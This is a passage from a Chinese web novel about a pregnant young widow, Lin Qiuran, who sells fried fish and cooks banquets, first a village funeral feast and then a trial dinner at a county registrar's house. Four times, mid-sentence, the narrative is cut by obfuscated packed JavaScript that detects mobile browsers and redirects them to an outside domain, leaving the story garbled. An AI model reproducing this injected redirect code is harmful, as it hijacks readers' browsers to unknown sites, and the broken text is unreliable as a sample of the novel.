林秋然跟着定了菜色，凉菜有拍黄瓜、青椒茄子，热菜四道有今日这个炒茄子、烧丸子、蒜香鲫鱼、八宝饭，两道大菜一道红烧肉，还有一道是红烧鲤鱼。 后面两道菜林秋然还特意问了问，因为菜色红亮，白事都避讳。不过赵娘子说她公爹喜丧，高高兴兴地走，不妨事。 主家准备的便是这些菜，还有油调料啥的，林秋然后日就带着孙氏萧大石过来，他俩帮忙，省着一个人忙不过来。 临走，赵娘子给了一钱银子的定金。回去的路上，林秋然从荷包里拿了十文，“婶子，这回多亏了你。” 她出门带了钱，今儿多亏了于婶儿，不然也没这机会。 于婶儿本就是为了帮忙，哪能要林秋然的钱，她就是看萧家现在不容易，想拉他们一把，她还要钱，拿她成什么人了。 于婶儿：“我不要，给你的钱。” 林秋然道：“婶子，你收下吧。这回多亏了你，不然我也没这活儿干。” 于婶儿道：“我就提一嘴，能留下是你的本事。” 又不是没别的师傅，能用林秋然还不是她做的好。 林秋然只好把孙氏搬出来，“您若不要，我娘指定不高兴，您就收下吧。下回若有这样的好事儿，多想着我。” 于婶儿这才收下，她就回了两趟娘家，就拿了十文钱。 她把钱妥帖放好，问林秋然，“你这肚子没事儿吧？” 虽然说于家庄离萧家村不远，可又是做菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598342|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是走路的。 林秋然摇摇头，“没事儿。” 大约是月份浅，林秋然现在也没什么反应。回去的时候天也晚了，孙氏和萧大石已经回来了。 孙氏还着急去邻居家问，问了才知道林秋然跟着于婶儿出门了。看见林秋然，孙氏心里的石头才落地，“今儿的七条鱼都卖光了，又给你买了些肉，还剩二百零四文。你这是做啥去了？” 今儿孙氏就买了一斤肉，两斤吃不完，她们老两口还得吃，只给林秋然吃，一斤就差不多，这样也省一点。 他俩还在外面吃了饭，花了六文钱。 孙氏把钱给林秋然，林秋然把大头二百收下，零下的几文留给孙氏，她道：“去于婶儿娘家看了看，有人家白事做席面，我过去试菜了，人家也同意用我。爹娘，后天你们跟我一块儿过去。” 桶里还养着鲫鱼，明儿卖完后日就不去县城了，直接去于家庄做菜。要是忙得快，就让萧大石早些回来去捞鱼，等大后天再去卖。 孙氏眼睛弯起来，眼角露出几条皱纹，“挺好挺好，我和你爹跟着你去。” 孙氏是倒不担心别的，就是怕林秋然辛苦，这已经连着好些日子都早起做菜了。还要去于家庄，都没有闲着的时候。 不过孙氏没开口劝，如今家里林秋然做主，想赚钱也是为了家里好，除非她有更好的本事赚到钱，不然咋让林秋然听她的。 孙氏一直发愁，相反萧大石就很高兴，提了个锄头去地里除草，这个季节得两三天去一次，不然草又长出来。 往年空闲的时候都去打猎，却也不如去县城卖鱼赚得多。去县城累是累了点，却也有奔头。 等萧大石回来天已经黑透了，林秋然和孙氏已经吃完，林秋然在院子里割了些韭菜，剁肉馅包了饺子。 孙氏喝的粥，给萧大石留了一碗。 萧大石回来，孙氏把饭端了上来，她道：“秋然睡了，这一日也够累的。” 萧大石道：“有啥累的，谁怀孕不干活，哪儿有那么娇气。” 孙氏道：“那能一样吗，秋然性子好，若出了什么事儿，我可就活不了了。于家庄离得远，不然咱们推着秋然过去。” 萧大石嘴上说娇气，却直接去院子，“那我把车给弄弄，坐着好舒服点儿。” 次日一早，孙氏把鲫鱼给杀了，还按照林秋然说的，把鱼肚子里面的黑膜也洗干净。 林秋然在一旁剥蒜剥姜，切了一点辣椒，做蒜香鲫鱼不用裹面糊，直接改花刀下油炸就行了，这样鱼肉不会散。 然后宽油炒少许蒜末辣椒，调个味儿不必太咸，等鱼肉做熟直接盛出来，林秋然又就着剩下的汤汁把蒜末炒了，若是摆盘直接把蒜末油淋上去，等到了县城，被这汤汁腌过，也入味儿。 孙氏和萧大石把鱼搬上车，临走孙氏问：“秋然，这鱼咋卖？” 鲫鱼价钱便宜，二三文一斤，若是贵四文，怕是没人买。 林秋然道：“看看街上鲫鱼多少钱，贵一倍就行了。” 孙氏点点头，林秋然又看了眼板车，车和前几日不太一样，左右都包起来了，还铺了被子，“娘，这车这样会不会不方便？” 孙氏笑笑，“方便，明儿去于家庄，我和你爹推着你去。” 8. 第八章 主厨 原来是为她准备的，林秋然笑了笑，“多谢爹娘。” 走路的确累，况且还要做饭，能省点劲儿自然好。没想到孙氏考虑得这么周到，连车都给准备了。 孙氏咧着嘴笑，“那我和你爹就去了。” 林秋然轻轻点了下头，“嗯，卖不完就早点回来。” 孙氏已经卖了三次鱼，倒是不会像第一回那么犯怵，只不过今儿做的鲫鱼，也不知道好不好卖。 两人巳时出门的，林秋然留在家里收拾了明儿出门要带的东西，一条汗巾，一小布袋从家里翻出来的山楂干，前面的是因为现在天热，又在灶台边上，少不了热得出汗，做菜要干净，这个必须得备着。后面的炖肉能用，葡萄她已经吃完了，放山楂干也行的。 还有得带点吃的，一上午都干活，林秋然怕饿，厨子可以试味道却不能偷吃，加上村里缺粮食，所以得自己带。 天热，一般东西放不住，林秋然打算晚上孙氏买肉回来了，做点咸口馒头，然后给烤干成膜片，装袋子里慢慢吃。 要是瘦肉多，还能做点肉脯，吃着方便。 林秋然还以为今儿鱼多，卖得慢，但今日孙氏回来得比以往还要早，林秋然看桶，也都卖光了。 林秋然笑着问：“今儿怎么卖得这么快？” 孙氏道：“我也怕不好卖，结果客人一看鱼小价钱比鲤鱼便宜，尝尝味道又不错，买的人可多了，一人一条很快就卖完了，有的人还一口气买三四条。” 就是鲫鱼一条也没多重，大点的一斤半，小的一斤出头。别看卖得多，赚的钱跟前两天比还少了呢，今儿卖了一百九十八文，买肉花了十文钱，吃饭花了六文，还剩一百八十二文。 孙氏把钱给林秋然，“你拿着。” “娘辛苦了。”林秋然把零的两文钱给了孙氏，剩下的自己收着，这几日卖鱼加上她去于家庄的定金，加一块有九百五十文了。 做鱼是不错，在河里捞不用什么本钱，就是量上不去，一日那么几条几条地卖，赚得还是少了些。 可若捞得多，别人看见肯定眼馋，一群人守着一条河捞，倒不如萧大石捞几条然后快点回来。再找到更好的赚钱生计前，这算很不错的来钱路子了。 孙氏笑笑，“辛苦啥，就走那么几步，你看今儿这肉好。” 林秋然把肉接了过来，孙氏买的还是五花肉，模样漂亮，但是做肉脯不太好，她便和了点面，把肉剁成馅儿，打算晚上做些肉龙。吃不完的烤成馒头干，明儿带过去吃。 本来孙氏也想给林秋然准备些，看林秋然自己准备了就没插手，她找来两个竹水筒，方便明儿带水，又把车擦擦整整干净。 晚饭前，孙氏看着车还是不满意，最后又在褥子上铺了层竹凉席，“他爹，你去薅点荷叶，明儿要是下午回来，遮着点也省得热。” 林秋然听这话从厨房出来，“爹，吃过饭再去吧，饭熟了。” 孙氏煮了稀粥，但林秋然坚持给二人一人一个肉龙，这个做起来倒是容易，面发好后擀开，然后裹馅儿，卷起来切成小块儿的就能上锅蒸了。 萧家用的老面，但林秋然头一次用这个，还不太熟练，发得不太好，但馅料好吃，是用家里的酱做的酱肉馅儿，一半馅儿炒过，所以能均匀地摊在面皮上，有点像以前吃得土家饼，入口也不那么腻。 孙氏拗不过，嘴里一直念叨着，“肉是给你买的，你做你吃的就行了。” 而萧大石手里拿着，不知吃还是不吃。 林秋然道：“快吃吧，家里也赚了些钱，不差那一口，吃完早点睡，明儿咱们寅时就得出门。” 这也是席面不算大，若是再大一些，就得提前一两天准备东西了，比方说吊高汤，炖肉，有的肉菜得炖几个时辰，只半日是不够的。 不过村子里的席面，菜也订好了，半日足够，对林秋然来说还算简单。 天黑下来，林秋然把膜片烤了就睡了，次日一早，天蒙蒙亮她就被孙氏喊起。这是夏日，放在现代不过四点钟。 林秋然起来梳洗，孙氏做了早饭，给林秋然的依旧是另做，把昨儿的膜片拿了出来，又蒸了鸡蛋羹，家里鸡蛋不剩多少，今儿回来她去别人家换一些。 吃过早饭，孙氏和萧大石就推着林秋然去了于家庄。 这户人家也姓于，今日出殡，门口坐了好些人，屋内还有人在守灵。林秋然和主家打了声招呼，就去厨房了。 她交代孙氏和萧大石洗菜切菜，茄子有切片儿的，还有切成滚刀块的，还有直接蒸不用切的，一盘切多少，她都给二人示范了一下。 菜一洗就是一大盆儿，他们做这个的时候，林秋然就先把糯米和各种豆子泡上，一会儿好蒸八宝饭。 肉馅儿剁好，豆腐碾碎，只做肉馅儿的丸子废肉，也没那么好吃，但加了豆腐和淀粉就不一样了，更糯些。 接着做大菜红烧肉，这回炖肉林秋然没放葡萄，而是放了从萧家带来的山楂干。放两三个就很管用了，炖出来的肉软糯得很。 等过辰时，红烧肉已炖上，该准备的菜也都备的差不多了。 林秋然抽空吃了口膜片，烤干水分后吃着脆，肉馅儿也成肉干了，再喝两口水，胃里又充实起来。 这家的赵娘子还过来看了，见东西都备的差不多满意地点点头，“一会儿发丧，午时开饭，还有一个时辰。” 林秋然算着时辰，把饭给蒸上。饭直接用木桶蒸的，大米掺了红薯米。各家各户都这样吃，做席面摆这个不算怠慢客人。 巳时三刻，凉菜已经都摆上桌了。 八宝饭已经蒸上了，八个圆碗里每个碗底抹一层猪油，再把糯米和各种豆子放进去，碗口撒红糖，出锅的时候换盘子扣下就是。 这道菜样子最好看，糯米莹润油亮，红糖化成汁，填到每一个细缝里，猪油增香，比起咸口的荷叶饭，林秋然更喜欢八宝饭。 而后便烧油炸丸子炸鱼，先炸丸子，豆腐和肉馅儿混在一起，用虎口攒出半个拳头大小的丸子，鱼要后炸，省着丸子染上鱼腥气，炸鱼孙氏也能帮忙，看着时辰，林秋然便开始炒热菜。 林秋然有条不紊地炒茄子、蒜香鲫鱼、烧丸子，都是一锅出，便更得注意火候，否则很容易坏了味道。 等这四道菜做完，赵娘子过来说可以开饭了。 红烧肉是早就炖好的，林秋然亲自盛，一盆肥瘦相间，不然这桌都是肥的那桌全瘦，吃着也不尽兴。一盆肉盛好，上面浇汤，在阳光下，肥肉都透光。 最后一道红烧鲤鱼，这个菜她做得熟，起锅烧油调料汁，把炸好的鱼放进去炖开，找长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598343|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘盛出来就行。 最后一道红烧鲤鱼端上桌，今儿的菜算是做完了。 林秋然松了口气，揉了揉有些酸的胳膊，做席面多是一锅出，锅大铲子也沉，有点累手，不过等做多了就好了，力气也会大些。 还剩米饭没盛，孙氏盛饭送过去了，赵娘子也过来了。 她还披麻戴孝呢，过来递给林秋然一个小荷包，“林娘子，这里面是二钱银子，今日辛苦林娘子了。” 林秋然愣了愣，道：“不是一钱吗？” 已经给了定金，说好的也是两钱银子，别是记错了。 赵娘子道：“林娘子手艺好，操持这席面也没用我们费事，客人吃得也高兴，就是没多的位子，不便留你们吃饭了。” 是吃得很高兴，每道菜都有人夸，尤其红烧肉、红烧鱼、八宝饭，分量足味道好，说都赶得上县城的席面。 事儿办得好，让于家面上有光，多犒劳也是应该的，再说请别的师傅本也该三四钱银子。 林秋然笑着收下，“若是家里有喜宴，又不忌讳我死了夫君，还可以找我。” 赵娘子是觉着林秋然手艺不错，若有喜事倒是可以考虑，她把三人送出去，林秋然坐上车，由孙氏萧大石推回去。 孙氏给她拿了两片大荷叶，“累坏了吧，快躺着睡会儿。” 林秋然额头还有汗，因为炒了一上午菜，脸上还有些油光，孙氏心疼，林秋然可是实打实忙了一上午，中间歇着吃了几口膜片喝了两口水，她和萧大石轻巧，洗洗菜切切菜，别的没干啥。 林秋然点点头，躺在板车上，有褥子垫着，虽颠却没那么颠，荷叶挡着也能遮太阳，还算舒服。 躺着躺着她就睡着了，等孙氏叫她，已经到家了。 林秋然还困，回屋睡觉了，孙氏赶紧去烧饭，烧好之后端林秋然屋里去了，以往萧大石最古板，觉得怀孕干活也没啥，但今儿啥也没说。 不仅没说话，还去捞鱼了。 林秋然睡醒之后手臂酸疼，除此之外倒是没什么感觉，出去一看，孙氏已经把晚饭烧好了，家里还有鸡叫。 孙氏道：“我下午去跟人换了鸡蛋，晚上给你炒的鸡蛋，小鸡也换了几只。” 这个时节鸡崽子少，不过也有，孙氏换了八只。 以前萧家就养了三只鸡，那时候不咋吃鸡蛋，都攒下来。现在林秋然吃蛋，多养也不费事儿，还可以攒着卖钱，孙氏就多抱来几只。 在小鸡长大之前，就换鸡蛋吃，十文钱给十二个蛋，价钱算合适的。 林秋然去看了眼小鸡，刚出壳不久，就养在笼子里，尖嘴浑身毛茸茸，还怪可爱的。 她伸手摸了摸小鸡，又问：“娘，总共花了多少钱？” 孙氏身上没啥钱，这些应该不便宜。 孙氏搓着袖口，“鸡蛋二十文，买了二十四个，小鸡一只十四文，花了一百一十二文，总共是一百三十二文。” 林秋然：“娘算得真好，不过下回直接说多少钱就行了，我不查帐。” 孙氏眼角露出几道笑纹，“哎，知道了，快吃饭了，你爹还捞了鱼，不过我瞅着你今儿太累，不然明儿还是不做了？” 林秋然道：“睡一晚上就没事儿了，明儿继续做，顺便帮我打听打听，谁家办酒席。” 9. 第九章 寿宴 林秋然觉得,做席面还算省事儿，虽然比起做鱼累，现在看赚得也没那么多，可这是长久生意，等操持更大的席面，拿的银子肯定更多。 长期卖鱼肯定不成，若哪日在河里捞不到鱼，或是天气不好，那不就傻眼了但林秋然也不打算做席面后就不卖鱼了，鱼和席面都不是日日有的，若是能一块儿，不接席面就去卖吃食，这样赚得肯定能更多。 这回于家还算满意，说不准过些日子就有人找上门了。 最好是县城里的，村里做一顿席面给三钱银子，比卖鱼费力，但若是到县城估计能翻个番儿。长此以往，肯定比做生意受人敬重。 士农工商，商在最底层。 孙氏点头，“好，可你还是得当心身子，别累着自己。” 林秋然：“放心，我心里有数。” 林秋然又和孙氏说了说有人来要问什么，该怎么说，最要紧的是别忘了说她新寡，有的人家忌讳这个。若是真有人定，直接应下，问问什么样的席面，多少人多少桌。 孙氏好好记下，没听懂的又问了林秋然几遍，“娘记住了，你放心。” 晚上孙氏给她做了韭菜炒鸡蛋，满满一盘金灿灿的，但孙氏和萧大石依旧吃稀粥。林秋然给二人一人夹了一大块儿，孙氏看太多，又给林秋然夹回去了一半。 林秋然也没办法，估计只有桌上全是荤菜，没咸菜下筷子的时候，孙氏才会碰荤菜。没错，这个时代炒鸡蛋也算荤菜。 吃过饭不用林秋然刷碗，她去后园捡了菜叶子喂鸡，萧大石抓虫子去了，这样菜长得好，鸡吃了虫子下的蛋黄还大。林秋然不敢碰虫子，是看见都要退避三舍的程度，这只能萧大石来。 她挖了些蒜，剥好明儿就能直接用。把零碎的事儿多了，明日就能轻巧些。 今儿萧大石又捞了三十多条鲫鱼，养在桶里还活蹦乱跳的，她打算明儿还做蒜香鲫鱼，留一条中午吃，今天做席面，于家就有蒜香鲫鱼，看得她都有点嘴馋。 天黑下来，林秋然把蒜瓣儿放在碗里，让孙氏烧了热水，平日不做那么多菜，不觉得多热，但今日实在太热了，头上包了头巾都觉得油乎乎的。 在家里洗澡不太方便，可今天不洗，林秋然恐怕一晚上都睡不着。孙氏就烧了一大锅水，提进去换了两次水，林秋然总算是洗干净了。 把头发绞干，这才睡下。 次日一早，萧大石天刚亮又去了河边，但今天他就捞到两条，桶都空着。 这些天都是前一天捞鱼养着第二天卖，保准每日都有鱼做有钱赚，今儿没捞到，耽误的时间还这么久，萧大石心里自责，到家一直低着头，长吁短叹的。 萧大石：“今儿就捞了两条，肯定不够卖的。” 林秋然安慰道：“爹，兴许明儿下雨，也卖不了鱼。两条够咱们家里吃就成，再说，我也做了好几天，歇一天正好。” 萧大石知道林秋然是安慰他，儿媳妇有本事，都是他不争气。 林秋然倒是无所谓，本来也没觉得卖鱼这门生意能做多久，如果哪日天气不好或是捞不上鱼，生意就停了。 她把昨儿捞的鲫鱼给做成蒜香口味，装到木桶里，再由孙氏和萧大石搬上车，“你们今儿不用买肉了，买点豆腐吧，咱们吃鱼换换口味。” 她留了一条鲫鱼中午吃，打算蒸一点米饭，用带着蒜末的汤汁拌饭，味道肯定不错。今日萧大石捞上来一条鲤鱼，一条鲫鱼，鲫鱼留着晚上炖汤喝，鲤鱼四五斤重，明儿中午吃，孙氏和萧大石这几日也辛苦了。 林秋然觉得可以做个大鱼泡饼，正好家里还有油，多些油可以把饼烙得金黄酥脆。 萧大石被安慰了一通心里轻快了点儿，他和孙氏道：“秋然真是个好孩子，想得也透彻。回来不买肉就买点水果，我看家里的水果吃完了。” 孙氏道：“我买点蜜瓜，我看秋然喜欢吃甜的，葡萄酸没瓜爱吃。” 萧大石重重地点头，“明儿我先去捞鱼，再去林子里看看，说不准打点东西，也能卖钱。” 二人去了县城，还是前日的摊位，已经来过几次，萧家的摊子都有回头客了。 一把车停下就有人过来，头一个客人买了两条还问：“昨儿咋没来？” 孙氏一边称鱼一边道：“我儿媳管做席面，昨儿有人家的办事儿，过去那边帮忙了，就没空做鱼来卖。” 那人点点头，“原来是大师傅，怪不得做菜这么好吃。” 孙氏笑笑，想起林秋然叮嘱的话，“若是家里办事儿，可以找我儿媳，她手艺没得说。” 客人点点头，拿了鱼就走了，孙氏收了六文钱。 过来好几个客人，不过也只是问问，没有人家里要办酒席。其实请师傅办席面的在少数，像村里办事儿都是找妯娌、娘家人帮忙，有点肉菜也就成了，除非像于家那样有钱的，才会雇师傅过来烧。 城里大约比村里好些，可像样的席面师傅有，也远近闻名。林秋然初来乍到，并不好做。 等把鱼卖完，二人收拾收拾，准备去买果子和豆腐。这个时节水果多，孙氏挑了一个椭圆的梗新鲜的蜜瓜，付完钱听有人在后面喊阿婆。 只不过在县城人生地不熟，孙氏没想着是喊她，自顾自往前走了一段，这人追上来，拍拍孙氏肩膀，“大娘，您这腿脚真好使啊，是你儿媳做席面吧。” 孙氏赶紧点点头，“是是！我刚才没当是叫我，我儿媳能做席面。” “大娘，这儿人多，要不去别处说话？” 这姑娘不过十五六岁的样子，孙氏点点头，就找了个安静的巷子。 孙氏：“我儿媳能做，就是不知你们这是办的啥事，前些日子我儿子没了，儿媳肚子里有孩子，怕你们忌讳这个。” 就拿成亲来说，别说做席面的，就是给做嫁妆被子的都要找全福人，全福人那是夫妻和美儿女双全的。林秋然新寡，肚子里又有个孩子，许多人家肯定不愿意。 不过孙氏觉得这也没啥说法，当初林秋然和萧寻成亲，也找的全福人。可是萧寻不也没了吗，但有人忌讳，就得把这些说清楚，不然做了菜，最后发现林秋然是寡妇，到时候赔钱还得罪人。 小姑娘点点头，“无妨，我是王主簿家的丫鬟，过几日是我家老太太六十大寿。方便的话明儿过来试试菜，若是成就把这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598344|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事定下来。” 试菜肯定是要试的，除非是有名气的大师傅，不然谁知道做的菜合不合胃口。别人家说好，自家未见得喜欢。 寿宴在七日后，府里是打算大办一场的。但是别的师傅做的菜要么吃过，要么老太太不满意，前几日家里的二娘子回娘家，给她伯父上礼，说那席面好吃。 今儿又吃从外面买的鱼，说味道一模一样，便差丫鬟出来问了。 孙氏道：“原来是王主簿家，我们明儿上午过来成不。” 小丫鬟道：“成。” 这还真是应了林秋然说的话了，没准儿明儿就下雨有事，这还是好事儿。 孙氏和萧大石问了些话，把该问的问清楚就赶紧买东西回家，这耽误了一会儿，回家就有些晚了。 林秋然等得有些着急，一边帮忙往屋里搬东西一边问：“今儿怎么回来这么晚，是不好卖吗？” 孙氏笑了笑，“没有，鱼可好卖了，是有别的事儿耽搁了。你猜怎么着，有人问你管不管做席面，还是城里的主簿家的老太太过六十大寿，说明儿去试菜。你说可不是巧了，你爹早上没捞着鱼，我还以为明儿没事干。” 孙氏说道：“她问我我就给你应下来了，明儿去瞅瞅？” 有机会林秋然肯定去，“去，那娘跟我一起去吧，爹在家也歇一天。” 出个门而已，就不用家里人都过去了。再说，林秋然也怕村子里有人找她，家里没人跑了空。 孙氏觉得成，“就这么着，还有你看这瓜好不好，一会儿切了吃，今儿卖了二百零三文，我又买了瓜跟豆腐，和你爹在外头吃了饭，还剩一百八十四文。” 林秋然依然拿了大头，剩下的零头给孙氏留着。出门在外总有用钱的地方，再说了他俩也帮忙卖鱼，也辛苦。 把铜板收好，林秋然开始琢磨明儿试菜的事儿，上回去于家庄，林秋然就简单做了道素菜，但胜在菜味道好。素菜做得好吃更能显出厨子厨艺来，再有便是村子里财力有限，大鱼大肉做得出来，却未见得能摆上席面。 可县城不一样，又是主簿家，应该有些家底。林秋然才做了两桌席面，就有找了上来的，估计是王家寻了不少师傅，但都不太满意。 她问孙氏：“娘，可说了为何找我？” 这个孙氏还真问了，“那头说是府里娘子去于家庄吃席，觉得味道好，这才和家里老太太提。” 林秋然点点头，县城人嘴应该更挑些，觉得好吃……那日的菜，林秋然觉得红烧肉和八宝饭最好吃。 这红烧肉里面有个红字，按理说白事不该做，可于家老爷子喜丧，主人家也没避讳，这才有这道菜的。 别的菜味道自然也不差，但若因为太好吃，想做席面的，估计还是看大菜。 林秋然决定明儿试菜做两道，一道红烧肉，若是主簿家调料多，做出来的味道肯定更好。 八宝饭时间长恐怕不成，另一道菜林秋然得仔细想想，这是寿宴，总得有摆盘好看的，一看就知道为了祝寿。 林秋然回想自己以前做的菜，还真想出来了一个，可以做福袋。有福气，不仅样子好看还好吃。 10. 第十章 主簿家 福袋就是和面做饼，中间是口袋宛若布袋形状，然后用红糖汁或是酱汁在上面写福字，里面填馅料，多是细丝状，还可以把一些象征着长寿的菜放进去，开口处用面绳或是豆腐丝系上。 林秋然以前总往这里面放京酱肉丝，装菜费事儿些，不过自己裹弄脏手，客人吃着方便。按人数做，一桌十人就做十个，十二人就做十二个。 摆上去满满当当，又有福字，看着很是喜庆。 林秋然暂且打算做这两道菜，若是明儿到王家人家另外要求做什么，她再改做别的。做红烧肉少不了山楂干，这个林秋然给找了出来。 除此之外，林秋然还带了些银子，半两碎银子，还有一些铜板。她还没去过县城，趁这个机会可以去走走转转，问问那边宅子都多少钱。 林秋然把这两样东西备好，又问孙氏，“娘，咱们村有没有去县城的牛车啥的？” 孙氏差点忘了，还真有，不是农忙时节的话，有家里养牛的就没啥大用。就有人赶牛车去县城，一人收个两文钱，省着走路。 不过坐得人不多，毕竟两文钱不便宜，没啥要紧事就走过去，要么是家里有点子钱，才会坐牛车的。 孙氏以前不坐牛车，但林秋然有孩子，坐牛车省劲儿，“有，我一会儿问问啥时候走，明儿咱们坐牛车去。” 孙氏去问牛车的事儿，林秋然在家熬鱼汤。 鲫鱼萧大石给收拾了，不算大，煎鱼一层厚油，中间撒些盐，这样能避免把鱼皮煎掉了。 林秋然把鱼放进去，锅里就传来噼里啪啦的响声，这会儿也别急着翻，等稍微定型再说。 等了一会儿，林秋然用铲子一铲，鲫鱼完整地翻了个面，煎出来的这面颜色金黄，还滋滋冒着油。 等另一面也煎好，林秋然把鱼盛出来丢在碗里，又在煎了两个鸡蛋，煎完鸡蛋把豆腐也煎了。这些煎过后倒热水，烧出的汤就是奶白色，林秋然是想着一条鲫鱼太少，为了汤的颜色好看，这才加了鸡蛋豆腐。 煎好之后把这些盛出来，锅里也不剩什么油了，林秋然又把鲫鱼回锅，用铲子捣碎，鸡蛋豆腐也都放进去。她从炉子上拎着热水壶浇上去，只听哗啦啦一声，水冲散鱼肉，汤瞬间变得浓稠。 锅里混着鱼骨鱼刺，林秋然等把锅烧开，加了些盐调味儿，又用漏勺把鱼骨捞了出来，鲫鱼刺儿多，她也不想喝口汤还得吐刺。 把汤煮开后放上一把从后院薅的小油菜，再撒上一把葱花就成了。 鱼汤煮得多，林秋然不打算再做粥，就和面擀了把面条，这面条可比汤面鲜美得多。 面条刚下进去，孙氏就回来了，她道：“秋然，明天早上咱们卯时过去，下午牛车过申时回村。” 还是那个价钱，也不给便宜。要是孙氏一个人，她肯定舍不得。但是林秋然要去干活，走去县城累得不行哪儿还有力气做菜，肯定得坐车。要是放着林秋然一人坐车，孙氏走着，她还不放心。 林秋然：“那早点儿起，娘吃饭了。” 孙氏往锅里一看，里面鱼汤颜色好看，鸡蛋豆腐都是金黄色的，还滚着小青菜面条，闻着就香，“你吃这个，我和你爹喝粥。” 林秋然道：“做得多也没煮粥。” 孙氏：“哎，我们都喝粥喝惯了，别的吃不惯。” 林秋然，“娘，这么多我也吃不完，一块吃吧。没有多少面，吃完早些睡，明儿咱们还得去县城呢。” 孙氏没辙，只能坐下吃，嘴里还不忘嘱咐，“下回你做自己的就行，我和你爹吃别的。” 林秋然没接话，她不乐意吃独食，还是一家人一起吃比较好，“你们快尝尝。” 孙氏给自己喝萧大石盛的，碗里没鸡蛋，她吃了面条，入口筋道，还有鱼汤的咸甜，豆腐也好吃，这可比她给林秋然做的鱼汤好喝多了。 萧大石就一句话，“秋然手艺好。” 吃过饭林秋然早早睡下。 次日，孙氏到了时辰喊她，林秋然梳洗干净就带着昨天晚上准备的东西，跟孙氏去村口坐牛车。 孙氏还给她煮了三个鸡蛋，带着路上吃。 人不多，算着她们总共四个，但是这么一回也能收个八文钱，来回翻个番，也是赚的。 坐牛车自然比走着快许多，等到了县城城门，牛车就停了。 林秋然把钱付了，孙氏道：“大哥，我们下午还过来，若是来得迟，可得等会儿我们。” 孙氏也不知道到啥时候，万一要坐一桌子呢，半天恐怕不够。 庄家汉点点头，牵着牛去找喝水的地方。 林秋然和孙氏站在城门口，这会儿天已大亮，街上也有小商贩，林秋然眉目舒展开，看着街边的屋舍楼房，觉得比村里好多了。 孙氏有些犯怵，他们县叫余安城，在这儿县令是七品官，县主簿是九品官，官职虽小，可在老百姓眼中那也是个大人物。 孙氏张嘴道：“这也不知王家在哪儿？” 林秋然拍拍孙氏的胳膊，“没事儿，我找人问问。” 林秋然跟人打听了打听，寻着路过去。孙氏就在她后头亦步亦趋地跟着，等到了王家，林秋然仰头看着门匾，这两个字的和简体的一样，匾额上写的就是王宅。 斗拱下挂着红灯笼，大门紧闭着。 林秋然上前扣了扣门锁，没一会儿就有小厮出来开门，林秋然开门见山道：“我是今日来试菜的席面师傅。” 小厮点点头，“那快进来吧。” 林秋然跟着小厮进了宅子，孙氏跟在她后头，大气都不敢喘。 走了一会儿，小厮让二人在这儿等着，林秋然深吸一口气，两人也没敢乱看。等了有半刻钟，一个衣着体面的妇人带着丫鬟过来，“你就是林娘子吧，我是府里的二娘子，过些日子是我婆婆六十大寿，找了几个席面师傅都不满意。” 老太太寿宴，菜得合老太太的口味。 林秋然道：“老太太可有想吃的菜，我可以做。” 于娘子道：“那日在于家庄的红烧肉做来尝尝，别的你看着来。” 于娘子带着林秋然去厨房，也没问孙氏是谁，估摸着是家里人，跟过来帮忙的。 把人带到厨房于娘子就出去了，王家的厨房比于家庄的那家还大，有两口铁锅一口大锅。 林秋然看了看厨房的肉和菜，一大块五花肉，还有后腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598345|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉，菜就是现下时令的青菜，还有豆腐豆皮什么的。 孙氏问林秋然她用做啥，林秋然道：“娘，你把五花肉切成小块就行，三指宽，然后凉水下锅焯水。” 自家吃小块比较好，但是宴客三指宽炖出来也就两指宽，摆出来大方好看。 林秋然又看了王家的调料香料，比家里的多。她选出来一些，等孙氏把肉焯好，林秋然把肉炖上，然后就开始做福袋了。 面要软一点，中间得抹油酥，不然成不了袋子，一个圆饼下锅一煎，没一会儿中间就鼓起来了。 林秋然煎了两个，把饼皮放进蒸笼，寻常直接吃就行，但上了年纪的牙口不好，热气熏熏不那么硬。剩下的就交给孙氏做了，她磨了磨刀开始切肉丝。 她刀功是经久练出来的，切出来粗细均匀，用生粉抓过腌一腌之后。因为两道菜要一块儿上，先做出来会凉，凉了味道就不好，林秋然也没急。 